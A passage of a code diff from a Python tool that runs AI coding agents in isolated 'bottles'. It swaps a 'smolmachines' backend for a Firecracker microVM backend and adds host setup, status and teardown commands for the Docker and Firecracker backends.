`_BACKENDS` (`docker` / `smolmachines` / `macos-container`) — used by the active-
`_BACKENDS` (`docker` / `firecracker` / `macos-container`) — used by the active-
list rendering to disambiguate and by the dashboard's
re-attach path."""
@@ -276,18 +274,6 @@ PlanT = TypeVar("PlanT", bound=BottlePlan)
CleanupT = TypeVar("CleanupT", bound=BottleCleanupPlan)
@dataclass(frozen=True)
class BottleImages:
"""Resolved image references (or artifact paths) for a bottle launch.
For Docker/macOS-container backends, `agent` and `sidecar` are string
image refs. For the smolmachines backend they are Path objects pointing
to pre-built `.smolmachine` artifacts."""
agent: str | Path
sidecar: str | Path
class BottleBackend(ABC, Generic[PlanT, CleanupT]):
"""Abstract base for selectable bottle backends. Concrete subclasses
(e.g. DockerBottleBackend) own their own prepare/launch impls.
@@ -447,27 +433,9 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
prompt file, Dockerfile path, and guest home all live on
`agent_provision_plan` — the source of truth."""
def prelaunch_checks(self, plan: PlanT) -> None:
"""Raise StaleImageError if any cached image used by this plan is stale.
No-op default; backends override to call the shared check_stale*
helpers on their image/artifact timestamps. Called by the CLI before
launch so the operator can be prompted outside the launch context."""
@contextmanager
def launch(self, plan: PlanT) -> Generator[Bottle, None, None]:
"""Template: build or load images, then delegate to _launch_impl."""
images = self._build_or_load_images(plan)
with self._launch_impl(plan, images) as bottle:
yield bottle
@abstractmethod
def _build_or_load_images(self, plan: PlanT) -> BottleImages:
"""Return the agent and sidecar image references (or artifact paths)
for this plan, building fresh images when the policy requires it."""
@abstractmethod
def _launch_impl(self, plan: PlanT, images: BottleImages) -> AbstractContextManager[Bottle]:
"""Bring up the bottle using pre-resolved images; yield a handle; tear down on exit."""
def launch(self, plan: PlanT) -> AbstractContextManager[Bottle]:
"""Build/run the bottle and yield a handle; tear down on exit."""
def provision(self, plan: PlanT, bottle: "Bottle") -> str | None:
"""Copy host-side files (CA cert, prompt, skills, .git) into
@@ -539,7 +507,7 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
MCP entry inside the guest.
Default returns "" so backends without supervise support
don't have to implement it. Docker and smolmachines override."""
don't have to implement it. Docker and firecracker override."""
del plan
return ""
@@ -556,27 +524,60 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
def enumerate_active(self) -> Sequence[ActiveAgent]:
"""Return every currently-running agent on this backend.
Empty when none. Backend-specific: docker queries `docker
compose ls`; smolmachines queries `smolvm machine ls --json`
+ cross-references its bundle container."""
compose ls`; firecracker cross-references its running sidecar
containers against per-bottle metadata."""
@classmethod
@abstractmethod
def is_available(cls) -> bool:
"""Whether this backend's runtime prerequisites are satisfied
on the current host. Docker → `docker` on PATH; smolmachines
→ `smolvm` on PATH. Used by the cross-backend
on the current host. Docker → `docker` on PATH; firecracker →
Linux + KVM. Used by the cross-backend
`enumerate_active_agents` / `cmd_cleanup` to skip backends
the operator hasn't installed, so a docker-only host
doesn't fail when `cli.py list active` walks past
smolmachines."""
firecracker."""
@classmethod
@abstractmethod
def setup(cls) -> int:
"""Emit this backend's one-time host setup — privileged network
pool, daemon bring-up, install pointers, etc. — as
host-appropriate config or commands. Prints to stdout/stderr and
returns a shell exit code (0 = nothing to report / success). A
backend that needs no host setup prints a short note and returns
0. Invoked generically by `./cli.py backend setup [--backend=…]`
so operators can provision any backend without a
backend-specific command. Classmethod (like `is_available`) —
it's a host query, not per-bottle state."""
@classmethod
@abstractmethod
def status(cls) -> int:
"""Report whether this backend's prerequisites are satisfied on
the host — binaries, daemon reachability, network pool, range
conflicts, etc. Prints a human-readable summary; returns 0 when
the backend is ready to launch and non-zero when something is
missing. Invoked by `./cli.py backend status [--backend=…]`."""
@classmethod
@abstractmethod
def teardown(cls) -> int:
"""Undo `setup()` — the inverse operation, surfaced as
`./cli.py backend teardown [--backend=…]` (uninstall). Symmetric
with setup: where setup is advisory (prints the privileged
commands / declarative config to apply), teardown prints the
commands / config change to remove the host prerequisites. A
backend with no host setup prints a short note and returns 0.
Not called by the launch path or the test suite."""
# Import concrete backend classes AFTER the base types are defined, so
# each backend module can pull BottleSpec / BottlePlan / BottleBackend
# via `from . import ...` without hitting a partially-initialized module.
from .docker import DockerBottleBackend # noqa: E402 # pylint: disable=wrong-import-position
from .firecracker import FirecrackerBottleBackend # noqa: E402 # pylint: disable=wrong-import-position
from .macos_container import MacosContainerBottleBackend # noqa: E402 # pylint: disable=wrong-import-position
from .smolmachines import SmolmachinesBottleBackend # noqa: E402 # pylint: disable=wrong-import-position
# Freezer is imported after the backend classes for the same reason:
# Freezer.commit_slug constructs ActiveAgent, which must be fully
@@ -590,8 +591,8 @@ from .freeze import CommitCancelled, Freezer, get_freezer # noqa: E402 # pylin
# unparameterized methods (prepare → plan → launch(plan), cleanup, etc.).
_BACKENDS: dict[str, BottleBackend[Any, Any]] = {
"docker": DockerBottleBackend(),
"firecracker": FirecrackerBottleBackend(),
"macos-container": MacosContainerBottleBackend(),
"smolmachines": SmolmachinesBottleBackend(),
}
@@ -604,7 +605,8 @@ def get_bottle_backend(
1. explicit arg (CLI `--backend=<name>` passes through here)
2. BOT_BOTTLE_BACKEND env var
3. `macos-container` on compatible macOS hosts
4. default `smolmachines`
4. `firecracker` on KVM-capable Linux hosts
5. default `docker`
Dies with a pointer at the known backends if the chosen name
isn't implemented."""
@@ -618,7 +620,13 @@ def get_bottle_backend(
def _default_backend_name() -> str:
if has_backend("macos-container"):
return "macos-container"
return "smolmachines"
# A KVM-capable Linux host defaults to firecracker even when the
# `firecracker` binary isn't installed yet: selecting it here routes
# start through firecracker's preflight, which prints an install
# pointer, instead of silently falling back to docker.
if FirecrackerBottleBackend.is_host_capable():
return "firecracker"
return "docker"
def known_backend_names() -> tuple[str, ...]:
@@ -632,7 +640,7 @@ def has_backend(name: str) -> bool:
"""Whether the named backend's runtime prerequisites are
available on the current host. Cross-backend callers (list,
cleanup) skip unavailable backends so a docker-only host
doesn't fail when the smolmachines backend isn't installed,
doesn't fail when the firecracker backend isn't usable,
and vice versa.
Returns False for unknown names so callers can pass
+18 -9
View File
@@ -31,7 +31,7 @@ from ...env import ResolvedEnv
from ...git_gate import GitGatePlan
from ...supervise import SupervisePlan
from ...manifest import Manifest
from .. import ActiveAgent, BottleBackend, BottleImages, BottleSpec
from .. import ActiveAgent, BottleBackend, BottleSpec
from . import cleanup as _cleanup
from . import enumerate as _enumerate
from . import launch as _launch
@@ -54,6 +54,21 @@ class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanup
launch."""
return shutil.which("docker") is not None
@classmethod
def setup(cls) -> int:
from . import setup as _setup
return _setup.setup()
@classmethod
def status(cls) -> int:
from . import setup as _setup
return _setup.status()
@classmethod
def teardown(cls) -> int:
from . import setup as _setup
return _setup.teardown()
def _preflight(self) -> None:
_resolve_plan.preflight()
@@ -85,15 +100,9 @@ class DockerBottleBackend(BottleBackend["DockerBottlePlan", "DockerBottleCleanup
stage_dir=stage_dir,
)
def prelaunch_checks(self, plan: DockerBottlePlan) -> None:
_launch.stale_checks(plan)
def _build_or_load_images(self, plan: DockerBottlePlan) -> BottleImages:
return _launch.build_or_load_images(plan)
@contextmanager
def _launch_impl(self, plan: DockerBottlePlan, images: BottleImages) -> Generator[DockerBottle, None, None]:
with _launch.launch(plan, images, provision=self.provision) as bottle:
def launch(self, plan: DockerBottlePlan) -> Generator[DockerBottle, None, None]:
with _launch.launch(plan, provision=self.provision) as bottle:
yield bottle
def supervise_mcp_url(self, plan: DockerBottlePlan) -> str:
+4 -5
View File
@@ -18,8 +18,7 @@ scan, just as a fallback bucket alongside the project list.
`cleanup` removes everything in the plan.
Active-agent enumeration lives in `backend/docker/enumerate.py`
(mirror of `backend/smolmachines/enumerate.py`).
Active-agent enumeration lives in `backend/docker/enumerate.py`.
"""
from __future__ import annotations
@@ -93,8 +92,8 @@ def _list_orphan_state_dirs(
`protected_identities` is the set of slugs that are live in
ANY backend — used so this docker-side check doesn't reap a
running smolmachines bottle's state dir (the layout is shared
across both backends)."""
running non-docker bottle's state dir (the layout is shared
across backends)."""
state_root = _supervise.bot_bottle_root() / "state"
if not state_root.is_dir():
return []
@@ -119,7 +118,7 @@ def prepare_cleanup() -> DockerBottleCleanupPlan:
Pulls the union of live identities across backends via
`enumerate_active_agents()` so the orphan-state-dir bucket
doesn't include slugs whose smolmachines VM is still up."""
doesn't include slugs whose non-docker bottle is still up."""
docker_mod.require_docker()
projects = list_compose_projects()
project_set = set(projects)
+4 -5
View File
@@ -180,6 +180,10 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
service: dict[str, Any] = {
"image": SIDECAR_BUNDLE_IMAGE,
"build": {
"context": _REPO_DIR,
"dockerfile": SIDECAR_BUNDLE_DOCKERFILE,
},
"container_name": sidecar_bundle_container_name(plan.slug),
"networks": {
"internal": {"aliases": internal_aliases},
@@ -188,11 +192,6 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
"environment": env,
"volumes": volumes,
}
if plan.spec.image_policy != "cached":
service["build"] = {
"context": _REPO_DIR,
"dockerfile": SIDECAR_BUNDLE_DOCKERFILE,
}
return service
+1 -2
View File
@@ -1,7 +1,6 @@
"""Active-agent enumeration for the docker backend.
Mirrors `backend/smolmachines/enumerate.py`: returns
`ActiveAgent` records the CLI `list active` command and the
Returns `ActiveAgent` records the CLI `list active` command and the
dashboard agents pane consume. Empty when docker isn't reachable
— gated by `has_backend('docker')` at the cross-backend caller
so this module trusts that docker is available when called.
+19 -58
View File
@@ -41,9 +41,7 @@ from ...git_gate import (
provision_git_gate_dynamic_keys,
revoke_git_gate_provisioned_keys,
)
from ...image_cache import check_stale
from ...log import die, info, warn
from .. import BottleImages
from ...log import info, warn
from . import network as network_mod
from . import util as docker_mod
from .bottle import DockerBottle
@@ -65,57 +63,22 @@ from .compose import (
write_compose_file,
)
from .egress import egress_tls_init
from .sidecar_bundle import SIDECAR_BUNDLE_IMAGE
# Where the repo root lives, for `docker build` context. Computed once.
_REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
def build_or_load_images(plan: DockerBottlePlan) -> BottleImages:
"""Resolve the agent and sidecar image refs for this plan.
Returns the committed snapshot if one exists, the local cached images
when the policy is 'cached', or builds fresh images and returns those."""
committed = read_committed_image(plan.slug)
if committed and docker_mod.image_exists(committed):
info(f"using committed image {committed!r}")
return BottleImages(agent=committed, sidecar=SIDECAR_BUNDLE_IMAGE)
if plan.spec.image_policy == "cached":
if not docker_mod.image_exists(plan.image):
die(
f"cached agent image {plan.image!r} not found; "
"run without --cached-images to build it"
)
if not docker_mod.image_exists(SIDECAR_BUNDLE_IMAGE):
die(
f"cached sidecar image {SIDECAR_BUNDLE_IMAGE!r} not found; "
"run without --cached-images to build it"
)
info(f"using cached agent image {plan.image!r}")
info(f"using cached sidecar image {SIDECAR_BUNDLE_IMAGE!r}")
return BottleImages(agent=plan.image, sidecar=SIDECAR_BUNDLE_IMAGE)
docker_mod.build_image(plan.image, _REPO_DIR, dockerfile=plan.dockerfile_path)
return BottleImages(agent=plan.image, sidecar=SIDECAR_BUNDLE_IMAGE)
@contextmanager
def launch(
plan: DockerBottlePlan,
images: BottleImages,
*,
provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
) -> Generator[DockerBottle, None, None]:
"""Launch and provision a Docker bottle via compose. Teardown on exit."""
"""Build, launch, and provision a Docker bottle via compose.
Teardown on exit."""
stack = ExitStack()
# Stamp the resolved agent image ref into the plan so compose rendering
# picks up the right image (may be a committed snapshot or cached ref).
plan = dataclasses.replace(
plan,
agent_provision=dataclasses.replace(plan.agent_provision, image=str(images.agent)),
)
_bottle_for_revoke = plan.manifest.bottle
_git_gate_dir_for_revoke = git_gate_state_dir(plan.slug)
@@ -132,6 +95,22 @@ def launch(
)
try:
# Step 1: agent image. Use a committed snapshot when one exists
# and is present in the local daemon; otherwise build from the
# Dockerfile. Sidecar images get built lazily by `docker compose
# up` via the renderer's `build:` directives.
committed = read_committed_image(plan.slug)
if committed and docker_mod.image_exists(committed):
info(f"using committed image {committed!r}")
plan = dataclasses.replace(
plan,
agent_provision=dataclasses.replace(plan.agent_provision, image=committed),
)
else:
docker_mod.build_image(
plan.image, _REPO_DIR,
dockerfile=plan.dockerfile_path,
)
internal_network = network_mod.network_name_for_slug(plan.slug)
egress_network = network_mod.network_egress_name_for_slug(plan.slug)
@@ -228,21 +207,3 @@ def launch(
yield bottle
finally:
teardown()
def stale_checks(plan: DockerBottlePlan) -> None:
"""Raise StaleImageError if a cached image is older than the configured
threshold. Only runs when image_policy is 'cached'. Called by the backend
class's _image_stale_checks before _launch_impl starts any resources."""
if plan.spec.image_policy != "cached":
return
committed = read_committed_image(plan.slug)
if committed and docker_mod.image_exists(committed):
check_stale(f"agent image {committed!r}", docker_mod.image_created_at(committed))
return
for label, ref in [
("agent image", plan.image),
("sidecar image", SIDECAR_BUNDLE_IMAGE),
]:
if docker_mod.image_exists(ref):
check_stale(f"{label} {ref!r}", docker_mod.image_created_at(ref))
+89
View File
@@ -0,0 +1,89 @@
"""Host setup + status for the Docker backend.
Unlike Firecracker, the Docker backend needs no privileged one-time
host provisioning (no TAP pool / nft table) — networks and the sidecar
bundle are created per-launch. So `setup()` is mostly an install/daemon
pointer, and `status()` reports whether docker is usable.
This is intentionally minimal; a richer version (daemon config checks,
gVisor/runsc install guidance, rootless-docker hints) is tracked
separately. Reached via `DockerBottleBackend.setup` / `.status`, which
the generic `./cli.py backend {setup,status}` dispatches to.
"""
from __future__ import annotations
import shutil
import subprocess
import sys
from . import util as _util
def _docker_on_path() -> bool:
return shutil.which("docker") is not None
def _daemon_reachable() -> bool:
if not _docker_on_path():
return False
return subprocess.run(
["docker", "info"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
).returncode == 0
def _print_install_pointer() -> None:
sys.stderr.write("Docker is required but was not found on PATH.\n")
sys.stderr.write(" macOS: Docker Desktop https://docs.docker.com/desktop/install/mac-install/\n")
sys.stderr.write(" Linux: Docker Engine https://docs.docker.com/engine/install/\n")
def setup() -> int:
if not _docker_on_path():
_print_install_pointer()
return 1
sys.stderr.write(
"Docker backend: no privileged host setup required — networks and "
"the sidecar bundle are created per-launch.\n"
)
if not _daemon_reachable():
sys.stderr.write(
"The Docker daemon isn't reachable; start it (e.g. Docker "
"Desktop, or `systemctl start docker`).\n"
)
return 1
if not _util.runsc_available():
sys.stderr.write(
"Optional: register the gVisor (`runsc`) runtime with Docker for "
"a userspace syscall barrier; bottles auto-detect and use it.\n"
)
return 0
def teardown() -> int:
sys.stderr.write(
"Docker backend: nothing to undo — it provisions no privileged host "
"state (networks and the sidecar bundle are per-launch and are "
"removed by `./cli.py cleanup`). Docker itself is left installed.\n"
)
return 0
def status() -> int:
ok = True
if _docker_on_path():
sys.stderr.write("docker on PATH: yes\n")
else:
sys.stderr.write("docker on PATH: NO\n")
ok = False
if ok and _daemon_reachable():
sys.stderr.write("docker daemon: reachable\n")
elif ok:
sys.stderr.write("docker daemon: UNREACHABLE\n")
ok = False
runsc = _docker_on_path() and _util.runsc_available()
sys.stderr.write(f"gVisor runsc runtime: {'registered' if runsc else 'not registered (optional)'}\n")
if not ok:
sys.stderr.write("\nRun: ./cli.py backend setup --backend=docker\n")
return 0 if ok else 1
-70
View File
@@ -4,7 +4,6 @@ existence, and building images."""
from __future__ import annotations
from datetime import datetime, timezone
import re
import shutil
import subprocess
@@ -168,75 +167,6 @@ def commit_container(container_name: str, image_tag: str) -> None:
info(f"committed {container_name!r}{image_tag!r}")
def image_id(ref: str) -> str:
"""Return the content-addressed image ID (e.g.
`sha256:abcd...`) for `ref`. The smolmachines backend keys its
`.smolmachine` artifact cache on this, so a Dockerfile change
that produces a new image automatically invalidates the cache."""
r = subprocess.run(
["docker", "image", "inspect", "--format", "{{.Id}}", ref],
capture_output=True,
text=True,
check=False,
)
if r.returncode != 0:
die(
f"docker image inspect for {ref!r} failed: "
f"{(r.stderr or '').strip() or '<no stderr>'}"
)
return r.stdout.strip()
def image_created_at(ref: str) -> datetime:
"""Return Docker's image Created timestamp as an aware UTC datetime."""
r = subprocess.run(
["docker", "image", "inspect", "--format", "{{.Created}}", ref],
capture_output=True,
text=True,
check=False,
)
if r.returncode != 0:
die(
f"docker image inspect for {ref!r} failed: "
f"{(r.stderr or '').strip() or '<no stderr>'}"
)
raw = r.stdout.strip()
try:
return _parse_docker_timestamp(raw)
except ValueError:
die(f"docker image inspect for {ref!r} returned invalid Created timestamp: {raw!r}")
def _parse_docker_timestamp(raw: str) -> datetime:
text = raw.strip()
if text.endswith("Z"):
text = text[:-1] + "+00:00"
dot = text.find(".")
if dot != -1:
tz_plus = text.find("+", dot)
tz_minus = text.find("-", dot)
tz_candidates = [pos for pos in (tz_plus, tz_minus) if pos != -1]
if tz_candidates:
tz_pos = min(tz_candidates)
frac = text[dot + 1:tz_pos]
text = text[:dot + 1] + frac[:6].ljust(6, "0") + text[tz_pos:]
dt = datetime.fromisoformat(text)
if dt.tzinfo is None:
dt = dt.replace(tzinfo=timezone.utc)
return dt.astimezone(timezone.utc)
def save(ref: str, output: str) -> None:
"""`docker save REF -o OUTPUT`. Writes a tarball of the image
layers + manifest to the host path. Used by smolmachines
prepare to hand the agent image to a containerized crane that
pushes it to the ephemeral registry — bypassing the docker
daemon's `docker push` (which on Docker Desktop can't reach a
host-loopback registry and refuses plain-HTTP pushes to
non-loopback hosts)."""
subprocess.run(["docker", "save", ref, "-o", output], check=True)
def _silent_run(cmd: Iterable[str]) -> int:
return subprocess.run(
list(cmd),
@@ -0,0 +1,7 @@
"""Firecracker backend: Linux KVM microVM isolation (issue #342)."""
from __future__ import annotations
from .backend import FirecrackerBottleBackend
__all__ = ["FirecrackerBottleBackend"]
+112
View File
@@ -0,0 +1,112 @@
"""FirecrackerBottleBackend — Linux microVM implementation.
Replaces smolmachines on Linux (issue #342): mature KVM-based
isolation via Firecracker, SSH control over a point-to-point TAP, and a
fail-closed nftables egress boundary. Selected by
`BOT_BOTTLE_BACKEND=firecracker` or `--backend=firecracker`.
"""
from __future__ import annotations
from contextlib import contextmanager
from pathlib import Path
from typing import Generator, Sequence
from ...agent_provider import AgentProvisionPlan
from ...egress import EgressPlan
from ...env import ResolvedEnv
from ...git_gate import GitGatePlan
from ...manifest import Manifest
from ...supervise import SupervisePlan
from .. import ActiveAgent, BottleBackend, BottleSpec
from . import cleanup as _cleanup
from . import enumerate as _enumerate
from . import launch as _launch
from . import resolve_plan as _resolve_plan
from . import util as _util
from .bottle import FirecrackerBottle
from .bottle_cleanup_plan import FirecrackerBottleCleanupPlan
from .bottle_plan import FirecrackerBottlePlan
class FirecrackerBottleBackend(
BottleBackend["FirecrackerBottlePlan", "FirecrackerBottleCleanupPlan"]
):
name = "firecracker"
@classmethod
def is_available(cls) -> bool:
return _util.is_available()
@classmethod
def is_host_capable(cls) -> bool:
"""Linux + KVM, regardless of whether the `firecracker` binary
is installed. Drives default-backend selection so a capable host
without the binary still lands on firecracker and gets an
install pointer at launch."""
return _util.is_host_capable()
@classmethod
def setup(cls) -> int:
from . import setup as _setup
return _setup.setup()
@classmethod
def status(cls) -> int:
from . import setup as _setup
return _setup.status()
@classmethod
def teardown(cls) -> int:
from . import setup as _setup
return _setup.teardown()
def _preflight(self) -> None:
_resolve_plan.preflight()
def _build_guest_env(self, resolved_env: ResolvedEnv) -> dict[str, str]:
return _resolve_plan.build_guest_env(resolved_env)
def _resolve_plan(
self,
spec: BottleSpec,
*,
manifest: Manifest,
slug: str,
resolved_env: ResolvedEnv,
agent_provision_plan: AgentProvisionPlan,
egress_plan: EgressPlan,
git_gate_plan: GitGatePlan,
supervise_plan: SupervisePlan | None,
stage_dir: Path,
) -> FirecrackerBottlePlan:
return _resolve_plan.resolve_plan(
spec,
manifest=manifest,
slug=slug,
resolved_env=resolved_env,
agent_provision_plan=agent_provision_plan,
egress_plan=egress_plan,
supervise_plan=supervise_plan,
git_gate_plan=git_gate_plan,
stage_dir=stage_dir,
)
@contextmanager
def launch(
self, plan: FirecrackerBottlePlan
) -> Generator[FirecrackerBottle, None, None]:
with _launch.launch(plan, provision=self.provision) as bottle:
yield bottle
def prepare_cleanup(self) -> FirecrackerBottleCleanupPlan:
return _cleanup.prepare_cleanup()
def cleanup(self, plan: FirecrackerBottleCleanupPlan) -> None:
_cleanup.cleanup(plan)
def enumerate_active(self) -> Sequence[ActiveAgent]:
return _enumerate.enumerate_active()
def supervise_mcp_url(self, plan: FirecrackerBottlePlan) -> str:
return plan.agent_supervise_url
+189
View File
@@ -0,0 +1,189 @@
"""Bottle handle for a Firecracker microVM, over SSH.
Every operation routes through SSH to the guest (dropbear, listening on
the TAP link). `exec` pipes a script over stdin and captures output;
`cp_in` uses scp; `exec_agent` uses `ssh -t` for an interactive PTY
session. `ssh -t` forwards the host terminal's SIGWINCH to the remote
PTY natively, so no separate resize bridge is needed.
Commands run as the image's `node` user via `runuser`, with HOME/USER/
PATH and the bottle env (HTTPS_PROXY at the sidecar, CA paths, …) set
per-invocation through `env` (the VM itself just runs the init; it has
no baked-in process env like a `docker run` container would).
"""
from __future__ import annotations
import os
import shlex
import subprocess
import sys
from pathlib import Path
from typing import Mapping, cast
from ...agent_provider import PromptMode, prompt_args
from .. import Bottle, ExecResult
from ..terminal import exec_shell_script
from . import util
_HOME_FOR = {"node": "/home/node", "root": "/root"}
_DEFAULT_PATH_FOR = {
"node": (
"/home/node/.local/bin:"
"/home/node/.codex/packages/standalone/current/bin:"
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
),
"root": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
}
def _env_assignments_for(user: str, env: Mapping[str, str]) -> list[str]:
home = _HOME_FOR.get(user, f"/home/{user}")
out = [f"HOME={home}", f"USER={user}"]
if "PATH" not in env:
out.append(f"PATH={_DEFAULT_PATH_FOR.get(user, _DEFAULT_PATH_FOR['root'])}")
for k, v in env.items():
out.append(f"{k}={v}")
return out
class FirecrackerBottle(Bottle):
def __init__(
self,
name: str,
*,
private_key: Path,
guest_ip: str,
guest_env: Mapping[str, str] | None = None,
prompt_path_in_guest: str | None = None,
agent_command: str = "claude",
agent_prompt_mode: PromptMode = "append_file",
agent_provider_template: str = "claude",
terminal_title: str = "",
terminal_color: str = "",
agent_workdir: str = "/home/node",
) -> None:
self.name = name
self._private_key = private_key
self._guest_ip = guest_ip
self._guest_env = dict(guest_env or {})
self.prompt_path = prompt_path_in_guest
self._agent_prompt_mode = agent_prompt_mode
self.agent_command = agent_command
self.terminal_title = terminal_title
self.terminal_color = terminal_color
self.agent_provider_template = agent_provider_template
self.agent_workdir = agent_workdir
def _ssh(self, *, tty: bool) -> list[str]:
argv = util.ssh_base_argv(self._private_key, self._guest_ip)
if tty:
# -t: allocate a remote PTY and forward window-size changes.
argv.insert(1, "-t")
return argv
def _agent_remote_argv(self, argv: list[str]) -> list[str]:
"""The `runuser … <agent> …` command run inside the guest."""
full_argv = list(argv)
full_argv.extend(
prompt_args(
cast(PromptMode, self._agent_prompt_mode),
self.prompt_path,
argv=full_argv,
)
)
# ALWAYS cd into the workdir before exec'ing the agent. The
# control SSH logs in as root, so the inherited cwd is /root —
# which the agent (running as node) can't even read now that
# /root is root-owned. Run the agent from the node workdir
# (default /home/node) so its cwd is node-accessible; otherwise
# Node's process.cwd(), the shell-snapshot machinery, and
# `/doctor` all fail on the unreadable /root.
# Run the agent from the node workdir (default /home/node), NOT
# the /root cwd inherited from the root SSH login — /root is now
# root-owned and unreadable by node, which breaks Node's
# process.cwd(), the shell-snapshot machinery, and `/doctor`.
# Use `env --chdir` rather than a `sh -c 'cd … && exec "$@"'`
# wrapper: ssh space-joins everything after the host into one
# string for the guest shell, so a quoted script + $@ would be
# re-split and mangled (exec'ing the $0 placeholder). All-simple
# words survive that join.
workdir = self.agent_workdir or _HOME_FOR["node"]
remote = ["runuser", "-u", "node", "--",
"env", f"--chdir={workdir}",
*_env_assignments_for("node", self._guest_env),
self.agent_command, *full_argv]
return remote
def agent_argv(self, argv: list[str], *, tty: bool = True) -> list[str]:
return [*self._ssh(tty=tty), "--", *self._agent_remote_argv(argv)]
def exec_agent(self, argv: list[str], *, tty: bool = True) -> int:
agent_argv = self.agent_argv(argv, tty=tty)
script = (
exec_shell_script(agent_argv, self.terminal_title, self.terminal_color)
if tty else None
)
if script is None:
return subprocess.run(agent_argv, check=False).returncode
return subprocess.run(["sh", "-lc", script], check=False).returncode
def exec(self, script: str, *, user: str = "node") -> ExecResult:
# Pipe the script over stdin (`sh -s`) so nothing needs shell
# quoting through the SSH command line.
remote = ["runuser", "-u", user, "--",
"env", *_env_assignments_for(user, self._guest_env),
"/bin/sh", "-s"]
result = subprocess.run(
[*self._ssh(tty=False), "--", *remote],
input=script, capture_output=True, text=True, check=False,
)
return ExecResult(
returncode=result.returncode,
stdout=result.stdout,
stderr=result.stderr,
)
def cp_in(self, host_path: str, container_path: str) -> None:
# Stream a tar over the SSH exec channel rather than scp: the
# guest runs dropbear, which ships no sftp-server/scp, but every
# agent image has `tar`. Copy so `container_path` becomes a copy
# of `host_path` (docker cp semantics — callers rm -rf the
# destination first).
host_parent = os.path.dirname(host_path.rstrip("/")) or "/"
host_base = os.path.basename(host_path.rstrip("/"))
guest_parent = os.path.dirname(container_path.rstrip("/")) or "/"
guest_base = os.path.basename(container_path.rstrip("/"))
remote = (
f"mkdir -p {shlex.quote(guest_parent)} && "
f"cd {shlex.quote(guest_parent)} && "
f"rm -rf {shlex.quote(guest_base)} && tar -xf - && "
f"{{ [ {shlex.quote(host_base)} = {shlex.quote(guest_base)} ] || "
f"mv {shlex.quote(host_base)} {shlex.quote(guest_base)}; }}"
)
tar = subprocess.Popen(
["tar", "-C", host_parent, "-cf", "-", host_base],
stdout=subprocess.PIPE,
)
# Pass the command as one arg: ssh space-joins everything after
# the host into a single string for the guest's login shell, so a
# `sh -c <remote>` split would drop everything past the first word
# (the guest shell runs `<remote>` directly; stdin carries the
# tar).
ssh = subprocess.run(
[*self._ssh(tty=False), "--", remote],
stdin=tar.stdout, capture_output=True, text=True, check=False,
)
tar.wait()
if tar.returncode != 0 or ssh.returncode != 0:
sys.stderr.write(ssh.stderr)
raise subprocess.CalledProcessError(
ssh.returncode or tar.returncode,
["cp_in", host_path, container_path],
)
def close(self) -> None:
# Real teardown (VM terminate, TAP release) lives on the launch
# ExitStack; this is the idempotent alias the ABC expects.
pass
@@ -0,0 +1,32 @@
"""Cleanup plan for the Firecracker backend."""
from __future__ import annotations
from dataclasses import dataclass
from ...log import info
from .. import BottleCleanupPlan
@dataclass(frozen=True)
class FirecrackerBottleCleanupPlan(BottleCleanupPlan):
# PIDs of orphaned firecracker VMM processes and the sidecar
# containers left behind by previous bottles.
vm_pids: tuple[int, ...] = ()
containers: tuple[str, ...] = ()
run_dirs: tuple[str, ...] = ()
def print(self) -> None:
if self.empty:
info("firecracker cleanup: nothing to remove")
return
for pid in self.vm_pids:
info(f"firecracker VM process: pid {pid}")
for name in self.containers:
info(f"firecracker sidecar container: {name}")
for path in self.run_dirs:
info(f"firecracker run dir: {path}")
@property
def empty(self) -> bool:
return not (self.vm_pids or self.containers or self.run_dirs)
@@ -0,0 +1,63 @@
"""Plan type for the Firecracker backend."""
from __future__ import annotations
from dataclasses import dataclass, field
from pathlib import Path
from ...agent_provider import PromptMode
from .. import BottlePlan
@dataclass(frozen=True)
class FirecrackerBottlePlan(BottlePlan):
slug: str
forwarded_env: dict[str, str] = field(repr=False)
# Stamped by launch once the sidecar is up and its ports are
# published on the host-side TAP IP (empty at prepare time).
agent_proxy_url: str = ""
agent_git_gate_url: str = ""
agent_supervise_url: str = ""
@property
def container_name(self) -> str:
"""Instance name, reused for the sidecar container + VM run dir.
Matches the `bot-bottle-<slug>` convention the other backends
use so cleanup/enumerate discovery-by-prefix keeps working."""
return self.agent_provision.instance_name
@property
def image(self) -> str:
return self.agent_provision.image
@property
def dockerfile_path(self) -> str:
return self.agent_provision.dockerfile
@property
def prompt_file(self) -> Path:
return self.agent_provision.prompt_file
@property
def agent_command(self) -> str:
return self.agent_provision.command
@property
def agent_prompt_mode(self) -> PromptMode:
return self.agent_provision.prompt_mode
@property
def agent_provider_template(self) -> str:
return self.agent_provision.template
@property
def git_gate_insteadof_host(self) -> str:
if self.agent_git_gate_url.startswith("http://"):
return self.agent_git_gate_url.removeprefix("http://").rstrip("/")
return super().git_gate_insteadof_host
@property
def git_gate_insteadof_scheme(self) -> str:
if self.agent_git_gate_url.startswith("http://"):
return "http"
return super().git_gate_insteadof_scheme
+90
View File
@@ -0,0 +1,90 @@
"""Cleanup for the Firecracker backend.
Orphans are: firecracker VMM processes whose config lives under our run
dir, the `bot-bottle-sidecars-*` containers, and the per-bottle run
dirs. TAP slots free themselves (the flock drops when the launcher
exits), so there is nothing to reclaim there.
"""
from __future__ import annotations
import os
import shutil
import signal
import subprocess
from pathlib import Path
from ...log import info
from . import util
from .bottle_cleanup_plan import FirecrackerBottleCleanupPlan
_SIDECAR_PREFIX = "bot-bottle-sidecars-"
def _run_root() -> Path:
return util.cache_dir() / "run"
def _orphan_vm_pids() -> list[int]:
"""firecracker processes whose --config-file is under our run dir."""
run_root = str(_run_root())
result = subprocess.run(
["pgrep", "-a", "firecracker"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return []
pids: list[int] = []
for line in result.stdout.splitlines():
parts = line.split(None, 1)
if len(parts) != 2 or run_root not in parts[1]:
continue
try:
pids.append(int(parts[0]))
except ValueError:
continue
return pids
def _sidecar_containers() -> list[str]:
result = subprocess.run(
